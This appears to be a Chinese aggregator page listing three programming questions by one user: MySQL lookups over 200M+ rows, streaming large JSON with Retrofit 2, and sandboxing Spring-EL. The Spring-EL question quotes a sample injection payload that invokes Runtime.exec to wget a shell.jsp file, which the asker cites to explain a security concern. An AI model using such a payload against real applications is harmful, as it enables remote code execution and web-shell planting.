小编Mar*_*ers的帖子

如何提高200+百万条记录的查询性能

背景

我有一个MySQL测试环境,其中的表包含2亿多行。在此表上必须执行两种类型的查询;

  1. 是否存在某些行。给定一个client_id和的列表,sgtin最多可容纳50.000个项目,我需要知道sgtin表中存在哪些。
  2. 选择那些行。给定一个client_id和的列表,sgtin最多可容纳50.000个项目,我需要提取整行。(商店,gtin ...)

对于单个“ client_id”,该表可以增长到200+百万条记录。

测试环境

至强E3-1545M / 32GB RAM / SSD。InnoDB缓冲池24 GB。(生产将是具有192GB RAM的更大服务器)

CREATE TABLE `sgtins` (
  `client_id` INT UNSIGNED NOT NULL,
  `sgtin` varchar(255) NOT NULL,
  `store` varchar(255) NOT NULL,
  `gtin` varchar(255) NOT NULL,
  `timestamp` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
  INDEX (`client_id`, `store`, `sgtin`),
  INDEX (`client_id`),
  PRIMARY KEY (`client_id`,`sgtin`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
Run Code Online (Sandbox Code Playgroud)

测验

首先,我生成了随机的sgtin值,这些值分布在10个“ client_id”上,以用2亿行填充表格。

我创建了一个基准工具,该工具可以执行尝试的各种查询。另外,我还使用了解释计划来找出最佳性能。对于每次测试,该工具都会从我用来填充数据库的数据中读取新的随机数据。确保每个查询都是不同的。

对于这篇文章,我将使用28 sgtins。 临时表

CREATE TEMPORARY TABLE sgtins_tmp_table (`sgtin` …
Run Code Online (Sandbox Code Playgroud)

mysql sql temp-tables database-performance

8
推荐指数
1
解决办法
416
查看次数

Retrofit 2 流式传输大型 JSON 响应

我正在尝试在接收(流式传输/分块)时解析/处理 JSON 响应。但我无法让它发挥作用。当我收到 JSON 时,我只能在收到整个响应后才能处理它。

如果我使用静态文件下载测试相同的代码,则它可以正常工作。

改造:2.6.1 OkHTTP 3.12.0

当我下载 5MB 文件时,将立即显示“调用确定”通知,稍后显示“下载完成”。对于 JSON 文件,“调用确定”将需要一段时间。

Logger.info("Start download")
val response = fileApi.download5MBFile() // Streaming
val response = dataHubApi.download3MBJson() //Does not stream
val response = articleApi.download10MBJson() // Does not stream
if (response.isSuccessful) {
    Logger.info("Call ok")
    val input = response.body()?.byteStream()
    val buffer = ByteArray(8192)
    var size = 0

    while (true) {
        val read = input!!.read(buffer)

        if (read == -1) {
            break
        }
        size += read
        //Logger.info("Progress: ${size/1024/1024}mb")
    }
    Logger.info("Download complete")
} else {
    Logger.info("Call …
Run Code Online (Sandbox Code Playgroud)

json kotlin retrofit okhttp

7
推荐指数
1
解决办法
1632
查看次数

Spring-EL表达式可以在沙箱中执行吗?

我正在使用 Spring-EL 创建动态 csv 字段到类字段映射,用于不同的 Spring-Batch 导入作业。(不同的输入文件,相同的输出类)。这工作得很好,但想法是用户必须能够创建这样的映射配置。

问题在于 Spring-EL 表达式不是在某种沙箱内执行的,因此很容易注入恶意代码。例如:

name: T(java.lang.Runtime).getRuntime().exec("wget http://localhost:8090/shell.jsp")

我的问题是,如何在某种沙箱中运行 Spring-EL 或限制仅访问一组特定的方法/类?我找不到与该主题相关的任何内容。也许 Spring-EL 不是这项工作的正确选择。

我试图实现的目标的示例:

name: column[0]
category: concat(' ', column[18], column[19])
age: split(column[3], '/', 0)
Run Code Online (Sandbox Code Playgroud)

spring sandbox spring-el

4
推荐指数
1
解决办法
668
查看次数